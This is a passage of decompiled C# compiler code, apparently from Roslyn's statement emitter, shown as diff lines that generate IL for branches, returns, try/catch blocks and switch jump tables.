if ((int)_ilEmitStyle == 0) + { + _builder.EmitOpCode(ILOpCode.Nop); + } + break; + case NoOpStatementFlavor.AwaitYieldPoint: + if (_asyncYieldPoints == null) + { + _asyncYieldPoints = ArrayBuilder.GetInstance(); + _asyncResumePoints = ArrayBuilder.GetInstance(); + } + _asyncYieldPoints.Add(_builder.AllocateILMarker()); + break; + case NoOpStatementFlavor.AwaitResumePoint: + _asyncResumePoints.Add(_builder.AllocateILMarker()); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)statement.Flavor); + } + } + + private void EmitThrowStatement(BoundThrowStatement node) + { + EmitThrow(node.ExpressionOpt); + } + + private void EmitThrow(BoundExpression thrown) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Invalid comparison between Unknown and I4 + if (thrown != null) + { + EmitExpression(thrown, used: true); + TypeSymbol type = thrown.Type; + if ((object)type != null && (int)type.TypeKind == 11) + { + EmitBox(type, thrown.Syntax); + } + } + _builder.EmitThrow(thrown == null); + } + + private void EmitConditionalGoto(BoundConditionalGoto boundConditionalGoto) + { + object dest = boundConditionalGoto.Label; + EmitCondBranch(boundConditionalGoto.Condition, ref dest, boundConditionalGoto.JumpIfTrue); + } + + private static bool CanPassToBrfalse(TypeSymbol ts) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + if (ts.IsEnumType()) + { + return true; + } + PrimitiveTypeCode primitiveTypeCode = ts.PrimitiveTypeCode; + if (primitiveTypeCode - 3 > 1) + { + if ((int)primitiveTypeCode == 18) + { + return ts.IsReferenceType; + } + return true; + } + return false; + } + + private static BoundExpression TryReduce(BoundBinaryOperator condition, ref bool sense) + { + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Invalid comparison between Unknown and I4 + BinaryOperatorKind binaryOperatorKind = condition.OperatorKind.Operator(); + BoundExpression boundExpression = ((condition.Left.ConstantValueOpt != (ConstantValue)null) ? condition.Left : null); + BoundExpression boundExpression2; + if (boundExpression != null) + { + boundExpression2 = condition.Right; + } + else + { + boundExpression = ((condition.Right.ConstantValueOpt != (ConstantValue)null) ? condition.Right : null); + if (boundExpression == null) + { + return null; + } + boundExpression2 = condition.Left; + } + TypeSymbol type = boundExpression2.Type; + if (!CanPassToBrfalse(type)) + { + return null; + } + bool num = (int)type.PrimitiveTypeCode == 0; + bool isDefaultValue = boundExpression.ConstantValueOpt.IsDefaultValue; + if (!num && !isDefaultValue) + { + return null; + } + if (isDefaultValue) + { + sense = !sense; + } + if (binaryOperatorKind == BinaryOperatorKind.NotEqual) + { + sense = !sense; + } + return boundExpression2; + } + + private static ILOpCode CodeForJump(BoundBinaryOperator op, bool sense, out ILOpCode revOpCode) + { + int num; + switch (op.OperatorKind.Operator()) + { + case BinaryOperatorKind.Equal: + revOpCode = ((!sense) ? ILOpCode.Beq : ILOpCode.Bne_un); + if (!sense) + { + return ILOpCode.Bne_un; + } + return ILOpCode.Beq; + case BinaryOperatorKind.NotEqual: + revOpCode = ((!sense) ? ILOpCode.Bne_un : ILOpCode.Beq); + if (!sense) + { + return ILOpCode.Beq; + } + return ILOpCode.Bne_un; + case BinaryOperatorKind.LessThan: + num = 0; + break; + case BinaryOperatorKind.LessThanOrEqual: + num = 1; + break; + case BinaryOperatorKind.GreaterThan: + num = 2; + break; + case BinaryOperatorKind.GreaterThanOrEqual: + num = 3; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)op.OperatorKind.Operator()); + } + if (IsUnsignedBinaryOperator(op)) + { + num += 8; + } + else if (IsFloat(op.OperatorKind)) + { + num += 16; + } + int num2 = num; + if (!sense) + { + num += 4; + } + else + { + num2 += 4; + } + revOpCode = s_condJumpOpCodes[num2]; + return s_condJumpOpCodes[num]; + } + + private void EmitCondBranch(BoundExpression condition, ref object dest, bool sense) + { + _recursionDepth++; + if (_recursionDepth > 1) + { + StackGuard.EnsureSufficientExecutionStack(_recursionDepth); + EmitCondBranchCore(condition, ref dest, sense); + } + else + { + EmitCondBranchCoreWithStackGuard(condition, ref dest, sense); + } + _recursionDepth--; + } + + private void EmitCondBranchCoreWithStackGuard(BoundExpression condition, ref object dest, bool sense) + { + try + { + EmitCondBranchCore(condition, ref dest, sense); + } + catch (InsufficientExecutionStackException) + { + _diagnostics.Add(ErrorCode.ERR_InsufficientStack, BoundTreeVisitor.CancelledByStackGuardException.GetTooLongOrComplexExpressionErrorLocation(condition)); + throw new EmitCancelledException(); + } + } + + private void EmitCondBranchCore(BoundExpression condition, ref object dest, bool sense) + { + BoundBinaryOperator boundBinaryOperator2 = default(BoundBinaryOperator); + ILOpCode iLOpCode; + while (true) + { + if (condition.ConstantValueOpt != (ConstantValue)null) + { + if (condition.ConstantValueOpt.IsDefaultValue != sense) + { + dest = dest ?? new object(); + _builder.EmitBranch(ILOpCode.Br, dest, ILOpCode.Nop); + } + return; + } + switch (condition.Kind) + { + case BoundKind.BinaryOperator: + { + BoundBinaryOperator boundBinaryOperator = (BoundBinaryOperator)condition; + BinaryOperatorKind binaryOperatorKind = boundBinaryOperator.OperatorKind.OperatorWithLogical(); + if ((binaryOperatorKind == BinaryOperatorKind.LogicalAnd || binaryOperatorKind == BinaryOperatorKind.LogicalOr) ? true : false) + { + ArrayBuilder<(BoundExpression, StrongBox, bool)> instance = ArrayBuilder<(BoundExpression, StrongBox, bool)>.GetInstance(); + StrongBox strongBox = new StrongBox(dest); + ArrayBuilderExtensions.Push<(BoundExpression, StrongBox, bool)>(instance, ((BoundExpression)boundBinaryOperator, strongBox, sense)); + (BoundExpression, StrongBox, bool) tuple; + while (true) + { + tuple = ArrayBuilderExtensions.Pop<(BoundExpression, StrongBox, bool)>(instance); + if (tuple.Item1 == null) + { + object value = tuple.Item2.Value; + if (value != null) + { + _builder.MarkLabel(value); + } + } + else + { + int num; + if (tuple.Item1.ConstantValueOpt == null) + { + boundBinaryOperator2 = tuple.Item1 as BoundBinaryOperator; + num = ((boundBinaryOperator2 != null) ? 1 : 0); + } + else + { + num = 0; + } + bool flag = (byte)num != 0; + if (flag) + { + binaryOperatorKind = boundBinaryOperator2.OperatorKind.OperatorWithLogical(); + bool flag2 = ((binaryOperatorKind == BinaryOperatorKind.LogicalAnd || binaryOperatorKind == BinaryOperatorKind.LogicalOr) ? true : false); + flag = flag2; + } + if (flag) + { + if ((boundBinaryOperator2.OperatorKind.OperatorWithLogical() == BinaryOperatorKind.LogicalOr) ? (!tuple.Item3) : tuple.Item3) + { + StrongBox item = new StrongBox(); + ArrayBuilderExtensions.Push<(BoundExpression, StrongBox, bool)>(instance, ((BoundExpression)null, item, true)); + ArrayBuilderExtensions.Push<(BoundExpression, StrongBox, bool)>(instance, (boundBinaryOperator2.Right, tuple.Item2, tuple.Item3)); + ArrayBuilderExtensions.Push<(BoundExpression, StrongBox, bool)>(instance, (boundBinaryOperator2.Left, item, !tuple.Item3)); + } + else + { + ArrayBuilderExtensions.Push<(BoundExpression, StrongBox, bool)>(instance, (boundBinaryOperator2.Right, tuple.Item2, tuple.Item3)); + ArrayBuilderExtensions.Push<(BoundExpression, StrongBox, bool)>(instance, (boundBinaryOperator2.Left, tuple.Item2, tuple.Item3)); + } + } + else + { + if (instance.Count == 0 && strongBox == tuple.Item2) + { + break; + } + EmitCondBranch(tuple.Item1, ref tuple.Item2.Value, tuple.Item3); + } + } + if (instance.Count == 0) + { + dest = strongBox.Value; + instance.Free(); + return; + } + } + condition = tuple.Item1; + sense = tuple.Item3; + dest = strongBox.Value; + instance.Free(); + continue; + } + binaryOperatorKind = boundBinaryOperator.OperatorKind.OperatorWithLogical(); + if (binaryOperatorKind <= BinaryOperatorKind.LessThan) + { + if (binaryOperatorKind <= BinaryOperatorKind.NotEqual) + { + if (binaryOperatorKind != BinaryOperatorKind.Equal && binaryOperatorKind != BinaryOperatorKind.NotEqual) + { + break; + } + BoundExpression boundExpression = TryReduce(boundBinaryOperator, ref sense); + if (boundExpression != null) + { + condition = boundExpression; + continue; + } + } + else if (binaryOperatorKind != BinaryOperatorKind.GreaterThan && binaryOperatorKind != BinaryOperatorKind.LessThan) + { + break; + } + } + else + { + if (binaryOperatorKind > BinaryOperatorKind.LessThanOrEqual) + { + if (binaryOperatorKind == BinaryOperatorKind.LogicalAnd || binaryOperatorKind == BinaryOperatorKind.LogicalOr) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/CodeGen/EmitStatement.cs", 496); + } + break; + } + if (binaryOperatorKind != BinaryOperatorKind.GreaterThanOrEqual && binaryOperatorKind != BinaryOperatorKind.LessThanOrEqual) + { + break; + } + } + EmitExpression(boundBinaryOperator.Left, used: true); + EmitExpression(boundBinaryOperator.Right, used: true); + iLOpCode = CodeForJump(boundBinaryOperator, sense, out var revOpCode); + dest = dest ?? new object(); + _builder.EmitBranch(iLOpCode, dest, revOpCode); + return; + } + case BoundKind.LoweredConditionalAccess: + { + BoundLoweredConditionalAccess boundLoweredConditionalAccess = (BoundLoweredConditionalAccess)condition; + BoundExpression receiver = boundLoweredConditionalAccess.Receiver; + if (!receiver.Type.IsReferenceType || LocalRewriter.CanChangeValueBetweenReads(receiver, localsMayBeAssignedOrCaptured: false) || (receiver.Kind == BoundKind.Local && IsStackLocal(((BoundLocal)receiver).LocalSymbol))) + { + break; + } + BoundExpression? whenNullOpt = boundLoweredConditionalAccess.WhenNullOpt; + if (whenNullOpt != null && !whenNullOpt.IsDefaultValue()) + { + break; + } + if (sense) + { + object dest2 = null; + EmitCondBranch(receiver, ref dest2, sense: false); + EmitReceiverRef(receiver, Binder.AddressKind.ReadOnly); + EmitCondBranch(boundLoweredConditionalAccess.WhenNotNull, ref dest, sense: true); + if (dest2 != null) + { + _builder.MarkLabel(dest2); + } + return; + } + EmitCondBranch(receiver, ref dest, sense: false); + EmitReceiverRef(receiver, Binder.AddressKind.ReadOnly); + condition = boundLoweredConditionalAccess.WhenNotNull; + continue; + } + case BoundKind.UnaryOperator: + { + BoundUnaryOperator boundUnaryOperator = (BoundUnaryOperator)condition; + if (boundUnaryOperator.OperatorKind == UnaryOperatorKind.BoolLogicalNegation) + { + sense = !sense; + condition = boundUnaryOperator.Operand; + continue; + } + break; + } + case BoundKind.IsOperator: + { + BoundIsOperator boundIsOperator = (BoundIsOperator)condition; + BoundExpression operand = boundIsOperator.Operand; + EmitExpression(operand, used: true); + if (!operand.Type.IsVerifierReference()) + { + EmitBox(operand.Type, operand.Syntax); + } + _builder.EmitOpCode(ILOpCode.Isinst); + EmitSymbolToken(boundIsOperator.TargetType.Type, boundIsOperator.TargetType.Syntax); + iLOpCode = (sense ? ILOpCode.Brtrue : ILOpCode.Brfalse); + dest = dest ?? new object(); + _builder.EmitBranch(iLOpCode, dest, ILOpCode.Nop); + return; + } + case BoundKind.Sequence: + { + BoundSequence sequence = (BoundSequence)condition; + EmitSequenceCondBranch(sequence, ref dest, sense); + return; + } + } + break; + } + EmitExpression(condition, used: true); + TypeSymbol type = condition.Type; + if (type.IsReferenceType && !type.IsVerifierReference()) + { + EmitBox(type, condition.Syntax); + } + iLOpCode = (sense ? ILOpCode.Brtrue : ILOpCode.Brfalse); + dest = dest ?? new object(); + _builder.EmitBranch(iLOpCode, dest, ILOpCode.Nop); + } + + private void EmitSequenceCondBranch(BoundSequence sequence, ref object dest, bool sense) + { + DefineLocals(sequence); + EmitSideEffects(sequence); + EmitCondBranch(sequence.Value, ref dest, sense); + FreeLocals(sequence); + } + + private void EmitLabelStatement(BoundLabelStatement boundLabelStatement) + { + _builder.MarkLabel((object)boundLabelStatement.Label); + } + + private void EmitGotoStatement(BoundGotoStatement boundGotoStatement) + { + _builder.EmitBranch(ILOpCode.Br, (object)boundGotoStatement.Label, ILOpCode.Nop); + } + + private bool IsLastBlockInMethod(BoundBlock block) + { + if (_boundBody == block) + { + return true; + } + if (_boundBody is BoundStatementList boundStatementList && boundStatementList.Statements.LastOrDefault() == block) + { + return true; + } + return false; + } + + private void EmitBlock(BoundBlock block) + { + if (block.Instrumentation != null) + { + EmitInstrumentedBlock(block.Instrumentation, block); + } + else + { + EmitUninstrumentedBlock(block); + } + } + + private void EmitInstrumentedBlock(BoundBlockInstrumentation instrumentation, BoundBlock block) + { + _builder.OpenLocalScope((ScopeType)0, (ITypeReference)null); + DefineLocal(instrumentation.Local, block.Syntax); + if (_emitPdbSequencePoints) + { + EmitHiddenSequencePoint(); + } + EmitStatement(instrumentation.Prologue); + _builder.OpenLocalScope((ScopeType)1, (ITypeReference)null); + _builder.OpenLocalScope((ScopeType)2, (ITypeReference)null); + EmitUninstrumentedBlock(block); + _builder.CloseLocalScope(); + _builder.OpenLocalScope((ScopeType)5, (ITypeReference)null); + if (_emitPdbSequencePoints) + { + EmitHiddenSequencePoint(); + } + EmitStatement(instrumentation.Epilogue); + _builder.CloseLocalScope(); + _builder.CloseLocalScope(); + FreeLocal(instrumentation.Local); + _builder.CloseLocalScope(); + } + + private void EmitUninstrumentedBlock(BoundBlock block) + { + bool flag = !block.Locals.IsEmpty; + if (flag) + { + _builder.OpenLocalScope((ScopeType)0, (ITypeReference)null); + ImmutableArray.Enumerator enumerator = block.Locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + ImmutableArray declaringSyntaxReferences = current.DeclaringSyntaxReferences; + DefineLocal(current, (SyntaxNode)(object)((!declaringSyntaxReferences.IsEmpty) ? ((CSharpSyntaxNode)(object)declaringSyntaxReferences[0].GetSyntax(default(CancellationToken))) : ((CSharpSyntaxNode)(object)block.Syntax))); + } + } + EmitStatements(block.Statements); + if (_indirectReturnState == IndirectReturnState.Needed && IsLastBlockInMethod(block)) + { + if (block.Instrumentation != null) + { + _builder.EmitBranch(ILOpCode.Br, s_returnLabel, ILOpCode.Nop); + } + else + { + HandleReturn(); + } + } + if (flag) + { + ImmutableArray.Enumerator enumerator = block.Locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current2 = enumerator.Current; + FreeLocal(current2); + } + _builder.CloseLocalScope(); + } + } + + private void EmitStatements(ImmutableArray statements) + { + ImmutableArray.Enumerator enumerator = statements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundStatement current = enumerator.Current; + EmitStatement(current); + } + } + + private void EmitScope(BoundScope block) + { + _builder.OpenLocalScope((ScopeType)0, (ITypeReference)null); + ImmutableArray.Enumerator enumerator = block.Locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + if (!current.IsConst && !IsStackLocal(current)) + { + _builder.AddLocalToScope(_builder.LocalSlotManager.GetLocal((ILocalSymbolInternal)(object)current)); + } + } + EmitStatements(block.Statements); + _builder.CloseLocalScope(); + } + + private void EmitStateMachineScope(BoundStateMachineScope scope) + { + _builder.OpenLocalScope((ScopeType)7, (ITypeReference)null); + ImmutableArray.Enumerator enumerator = scope.Fields.GetEnumerator(); + while (enumerator.MoveNext()) + { + StateMachineFieldSymbol current = enumerator.Current; + if (current.SlotIndex >= 0) + { + _builder.DefineUserDefinedStateMachineHoistedLocal(current.SlotIndex); + } + } + EmitStatement(scope.Statement); + _builder.CloseLocalScope(); + } + + private bool ShouldUseIndirectReturn() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + if ((int)_ilEmitStyle == 0 && _method.GenerateDebugInfo) + { + SyntaxNode methodBodySyntaxOpt = _methodBodySyntaxOpt; + if (methodBodySyntaxOpt != null && methodBodySyntaxOpt.IsKind(SyntaxKind.Block)) + { + return true; + } + } + return _builder.InExceptionHandler; + } + + private bool CanHandleReturnLabel(BoundReturnStatement boundReturnStatement) + { + if (boundReturnStatement.WasCompilerGenerated) + { + if (!boundReturnStatement.Syntax.IsKind(SyntaxKind.Block)) + { + MethodSymbol method = _method; + if ((object)method == null || !method.IsImplicitConstructor) + { + goto IL_003d; + } + } + return !_builder.InExceptionHandler; + } + goto IL_003d; + IL_003d: + return false; + } + + private void EmitReturnStatement(BoundReturnStatement boundReturnStatement) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + BoundExpression expressionOpt = boundReturnStatement.ExpressionOpt; + if ((int)boundReturnStatement.RefKind == 0) + { + EmitExpression(expressionOpt, used: true); + } + else + { + EmitAddress(expressionOpt, ((int)_method.RefKind == 3) ? Binder.AddressKind.ReadOnlyStrict : Binder.AddressKind.Writeable); + } + if (ShouldUseIndirectReturn()) + { + if (expressionOpt != null) + { + _builder.EmitLocalStore(LazyReturnTemp); + } + if (_indirectReturnState != IndirectReturnState.Emitted && CanHandleReturnLabel(boundReturnStatement)) + { + HandleReturn(); + return; + } + _builder.EmitBranch(ILOpCode.Br, s_returnLabel, ILOpCode.Nop); + if (_indirectReturnState == IndirectReturnState.NotNeeded) + { + _indirectReturnState = IndirectReturnState.Needed; + } + } + else if (_indirectReturnState == IndirectReturnState.Needed && CanHandleReturnLabel(boundReturnStatement)) + { + if (expressionOpt != null) + { + _builder.EmitLocalStore(LazyReturnTemp); + } + HandleReturn(); + } + else + { + if (expressionOpt != null) + { + ((PEModuleBuilder)_module).Translate(expressionOpt.Type, boundReturnStatement.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + } + _builder.EmitRet(expressionOpt == null); + } + } + + private void EmitTryStatement(BoundTryStatement statement, bool emitCatchesOnly = false) + { + bool num = !emitCatchesOnly && statement.CatchBlocks.Length > 0 && statement.FinallyBlockOpt != null; + _builder.OpenLocalScope((ScopeType)1, (ITypeReference)null); + _builder.OpenLocalScope((ScopeType)2, (ITypeReference)null); + _tryNestingLevel++; + if (num) + { + EmitTryStatement(statement, emitCatchesOnly: true); + } + else + { + EmitBlock(statement.TryBlock); + } + _tryNestingLevel--; + _builder.CloseLocalScope(); + if (!num) + { + ImmutableArray.Enumerator enumerator = statement.CatchBlocks.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundCatchBlock current = enumerator.Current; + EmitCatchBlock(current); + } + } + if (!emitCatchesOnly && statement.FinallyBlockOpt != null) + { + _builder.OpenLocalScope((ScopeType)(statement.PreferFaultHandler ? 6 : 5), (ITypeReference)null); + EmitBlock(statement.FinallyBlockOpt); + _builder.CloseLocalScope(); + _builder.CloseLocalScope(); + if (statement.PreferFaultHandler) + { + BoundBlock block = FinallyCloner.MakeFinallyClone(statement); + EmitBlock(block); + } + } + else + { + _builder.CloseLocalScope(); + } + } + + private void EmitCatchBlock(BoundCatchBlock catchBlock) + { + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + //IL_00df: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + object obj = null; + _builder.AdjustStack(1); + if (catchBlock.ExceptionFilterOpt == null) + { + ITypeReference obj2; + if ((object)catchBlock.ExceptionTypeOpt == null) + { + ITypeReference specialType = (ITypeReference)(object)((PEModuleBuilder)_module).GetSpecialType((SpecialType)1, catchBlock.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + obj2 = specialType; + } + else + { + obj2 = ((PEModuleBuilder)_module).Translate(catchBlock.ExceptionTypeOpt, catchBlock.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + } + ITypeReference val = obj2; + _builder.OpenLocalScope((ScopeType)3, val); + RecordAsyncCatchHandlerOffset(catchBlock); + if (_emitPdbSequencePoints && catchBlock.Syntax is CatchClauseSyntax catchClauseSyntax) + { + TextSpan span; + if (catchClauseSyntax.Declaration == null) + { + SyntaxToken catchKeyword = catchClauseSyntax.CatchKeyword; + span = ((SyntaxToken)(ref catchKeyword)).Span; + } + else + { + int spanStart = ((SyntaxNode)catchClauseSyntax).SpanStart; + TextSpan span2 = ((SyntaxNode)catchClauseSyntax.Declaration).Span; + span = TextSpan.FromBounds(spanStart, ((TextSpan)(ref span2)).End); + } + EmitSequencePoint(catchBlock.SyntaxTree, span); + } + } + else + { + _builder.OpenLocalScope((ScopeType)4, (ITypeReference)null); + RecordAsyncCatchHandlerOffset(catchBlock); + object obj3 = new object(); + obj = new object(); + if ((object)catchBlock.ExceptionTypeOpt != null) + { + ITypeReference val2 = ((PEModuleBuilder)_module).Translate(catchBlock.ExceptionTypeOpt, catchBlock.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + _builder.EmitOpCode(ILOpCode.Isinst); + _builder.EmitToken((IReference)(object)val2, catchBlock.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag, (RawTokenEncoding)0); + _builder.EmitOpCode(ILOpCode.Dup); + _builder.EmitBranch(ILOpCode.Brtrue, obj3, ILOpCode.Nop); + _builder.EmitOpCode(ILOpCode.Pop); + _builder.EmitIntConstant(0); + _builder.EmitBranch(ILOpCode.Br, obj, ILOpCode.Nop); + } + _builder.MarkLabel(obj3); + } + ImmutableArray.Enumerator enumerator = catchBlock.Locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + ImmutableArray declaringSyntaxReferences = current.DeclaringSyntaxReferences; + SyntaxNode syntaxNode = (SyntaxNode)(object)((!declaringSyntaxReferences.IsEmpty) ? ((CSharpSyntaxNode)(object)declaringSyntaxReferences[0].GetSyntax(default(CancellationToken))) : ((CSharpSyntaxNode)(object)catchBlock.Syntax)); + DefineLocal(current, syntaxNode); + } + BoundExpression exceptionSourceOpt = catchBlock.ExceptionSourceOpt; + if (exceptionSourceOpt != null) + { + if (!exceptionSourceOpt.Type.IsVerifierReference()) + { + _builder.EmitOpCode(ILOpCode.Unbox_any); + EmitSymbolToken(exceptionSourceOpt.Type, exceptionSourceOpt.Syntax); + } + BoundExpression boundExpression = exceptionSourceOpt; + while (boundExpression.Kind == BoundKind.Sequence) + { + BoundSequence boundSequence = (BoundSequence)boundExpression; + EmitSideEffects(boundSequence); + boundExpression = boundSequence.Value; + } + switch (boundExpression.Kind) + { + case BoundKind.Local: + { + BoundLocal boundLocal = (BoundLocal)boundExpression; + if (!IsStackLocal(boundLocal.LocalSymbol)) + { + _builder.EmitLocalStore(GetLocal(boundLocal)); + } + break; + } + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)boundExpression; + if (boundFieldAccess.FieldSymbol is StateMachineFieldSymbol { SlotIndex: >=0 } stateMachineFieldSymbol) + { + _builder.DefineUserDefinedStateMachineHoistedLocal(stateMachineFieldSymbol.SlotIndex); + } + LocalDefinition val3 = AllocateTemp(boundExpression.Type, boundExpression.Syntax, (LocalSlotConstraints)0); + _builder.EmitLocalStore(val3); + EmitReceiverRef(boundFieldAccess.ReceiverOpt, Binder.AddressKind.Writeable); + _builder.EmitLocalLoad(val3); + FreeTemp(val3); + EmitFieldStore(boundFieldAccess, refAssign: false); + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)boundExpression.Kind); + } + } + else + { + _builder.EmitOpCode(ILOpCode.Pop); + } + if (catchBlock.ExceptionFilterPrologueOpt != null) + { + EmitStatements(catchBlock.ExceptionFilterPrologueOpt.Statements); + } + if (catchBlock.ExceptionFilterOpt != null) + { + EmitCondExpr(catchBlock.ExceptionFilterOpt, sense: true); + _builder.EmitIntConstant(0); + _builder.EmitOpCode(ILOpCode.Cgt_un); + _builder.MarkLabel(obj); + _builder.MarkFilterConditionEnd(); + _builder.EmitOpCode(ILOpCode.Pop); + } + EmitBlock(catchBlock.Body); + _builder.CloseLocalScope(); + } + + private void RecordAsyncCatchHandlerOffset(BoundCatchBlock catchBlock) + { + if (catchBlock.IsSynthesizedAsyncCatchAll) + { + _asyncCatchHandlerOffset = _builder.AllocateILMarker(); + } + } + + private void EmitSwitchDispatch(BoundSwitchDispatch dispatch) + { + EmitSwitchHeader(dispatch.Expression, dispatch.Cases.Select<(ConstantValue, LabelSymbol), KeyValuePair>(((ConstantValue value, LabelSymbol label) p) => new KeyValuePair(p.value, p.label)).ToArray(), dispatch.DefaultLabel, dispatch.LengthBasedStringSwitchDataOpt); + } + + private void EmitSwitchHeader(BoundExpression expression, KeyValuePair[] switchCaseLabels, LabelSymbol fallThroughLabel, LengthBasedStringSwitchData lengthBasedSwitchStringJumpTableOpt) + { + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ea: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_00f1: Unknown result type (might be due to invalid IL or missing references) + //IL_00f8: Invalid comparison between Unknown and I4 + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + //IL_010e: Unknown result type (might be due to invalid IL or missing references) + //IL_0142: Unknown result type (might be due to invalid IL or missing references) + //IL_014e: Unknown result type (might be due to invalid IL or missing references) + LocalDefinition val = null; + BoundSequence boundSequence = null; + if (expression.Kind == BoundKind.Sequence) + { + boundSequence = (BoundSequence)expression; + DefineLocals(boundSequence); + EmitSideEffects(boundSequence); + expression = boundSequence.Value; + } + if (expression.Kind == BoundKind.SequencePointExpression) + { + BoundSequencePointExpression boundSequencePointExpression = (BoundSequencePointExpression)expression; + EmitSequencePoint(boundSequencePointExpression); + expression = boundSequencePointExpression.Expression; + } + BoundKind kind = expression.Kind; + LocalOrParameter val2; + if (kind != BoundKind.Local) + { + if (kind == BoundKind.Parameter) + { + BoundParameter boundParameter = (BoundParameter)expression; + if ((int)boundParameter.ParameterSymbol.RefKind == 0) + { + val2 = LocalOrParameter.op_Implicit(ParameterSlot(boundParameter)); + goto IL_00eb; + } + } + } + else + { + LocalSymbol localSymbol = ((BoundLocal)expression).LocalSymbol; + if ((int)localSymbol.RefKind == 0 && !IsStackLocal(localSymbol)) + { + val2 = LocalOrParameter.op_Implicit(GetLocal(localSymbol)); + goto IL_00eb; + } + } + EmitExpression(expression, used: true); + val = AllocateTemp(expression.Type, expression.Syntax, (LocalSlotConstraints)0); + _builder.EmitLocalStore(val); + val2 = LocalOrParameter.op_Implicit(val); + goto IL_00eb; + IL_00eb: + if ((int)expression.Type.SpecialType == 20 || expression.Type.IsSpanOrReadOnlySpanChar()) + { + if (lengthBasedSwitchStringJumpTableOpt == null) + { + EmitStringSwitchJumpTable(switchCaseLabels, fallThroughLabel, val2, expression.Syntax, expression.Type); + } + else + { + EmitLengthBasedStringSwitchJumpTable(lengthBasedSwitchStringJumpTableOpt, fallThroughLabel, val2, expression.Syntax, expression.Type); + } + } + else + { + _builder.EmitIntegerSwitchJumpTable(switchCaseLabels, (object)fallThroughLabel, val2, expression.Type.EnumUnderlyingTypeOrSelf().PrimitiveTypeCode); + } + if (val != null) + { + FreeTemp(val); + } + if (boundSequence != null) + { + FreeLocals(boundSequence); + } + } + + private void EmitLengthBasedStringSwitchJumpTable(LengthBasedStringSwitchData lengthBasedSwitchData, LabelSymbol fallThroughLabel, LocalOrParameter keyTemp, SyntaxNode syntaxNode, TypeSymbol keyType) + { + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + bool flag = keyType.IsSpanChar(); + bool flag2 = keyType.IsReadOnlySpanChar(); + bool isSpanOrReadOnlySpan = flag || flag2; + IMethodReference indexerRef = GetIndexerRef(syntaxNode, keyType, flag2, isSpanOrReadOnlySpan); + IMethodReference lengthMethodRef = GetLengthMethodRef(syntaxNode, keyType, flag2, isSpanOrReadOnlySpan); + emitLengthDispatch(lengthBasedSwitchData, keyTemp, fallThroughLabel, syntaxNode); + emitCharDispatches(lengthBasedSwitchData, keyTemp, fallThroughLabel, syntaxNode); + emitFinalDispatches(lengthBasedSwitchData, keyTemp, keyType, fallThroughLabel, syntaxNode); + void emitCharDispatches(LengthBasedStringSwitchData lengthBasedSwitchInfo, LocalOrParameter val3, LabelSymbol labelSymbol, SyntaxNode val) + { + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_00f9: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol specialType = Binder.GetSpecialType(((PEModuleBuilder)_module).Compilation, (SpecialType)8, val, _diagnostics); + LocalDefinition val2 = AllocateTemp(specialType, val, (LocalSlotConstraints)0); + ImmutableArray.Enumerator enumerator = lengthBasedSwitchInfo.CharBasedJumpTables.GetEnumerator(); + while (enumerator.MoveNext()) + { + LengthBasedStringSwitchData.CharJumpTable current = enumerator.Current; + _builder.MarkLabel((object)current.Label); + if (isSpanOrReadOnlySpan) + { + _builder.EmitLoadAddress(val3); + } + else + { + _builder.EmitLoad(val3); + } + _builder.EmitIntConstant(current.SelectedCharPosition); + _builder.EmitOpCode(ILOpCode.Call, -1); + emitMethodRef(indexerRef); + if 